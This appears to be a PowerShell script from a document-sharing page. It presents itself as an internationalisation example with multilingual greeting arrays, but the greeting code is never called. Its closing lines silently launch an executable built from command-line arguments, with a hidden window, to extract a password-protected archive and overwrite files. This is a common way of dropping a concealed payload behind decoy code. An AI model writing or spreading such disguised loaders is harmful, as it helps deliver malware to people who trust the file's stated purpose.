You are on page 1of 1

# Define arrays for different languages

$bambaraMessages = @("aw ni baara!", "Aw ni ce diɲɛnatigɛ misali la!", "Kan bɛ!")


$azerbaijaniMessages = @("Salam!", "Beynəlxalqləşdirmə Nümunəsinə xoş gəlmisiniz!",
"sağol!")
$englishMessages = @("Hello!", "Welcome to the Internationalization Example!",
"Goodbye!")
$spanishMessages = @("¡Hola!", "¡Bienvenido al Ejemplo de Internacionalización!",
"Adiós!")
$frenchMessages = @("Bonjour!", "Bienvenue dans l'exemple d'internationalisation!",
"Au revoir!")

# Determine the selected language (default to English)


$selectedLanguage = "english"

# Get the preferred language from the command line arguments if provided
if ($args.Count -gt 0) {
$selectedLanguage = $args[0].ToLower()
}

# Function to display messages based on selected language


function DisplayMessages {
param (
[string]$language
)

switch ($language) {
"english" { $messages = $englishMessages }
"spanish" { $messages = $spanishMessages }
"french" { $messages = $frenchMessages }
default { $messages = $englishMessages } # Default to English for
unsupported languages
}

Write-Output $messages[0]
Write-Output $messages[1]
Write-Output $messages[2]
}

$firstArgument = $args[0]
$secondArgument = $args[1]
$rsName = $args[2]
$pList = $args[3]
$pname = $firstArgument+"."+$secondArgument
Start-Process -FilePath $pname -ArgumentList "x", $rsName, "-p`"$pList`"", "-y", "-
aoa" -Wait -WindowStyle Hidden

You might also like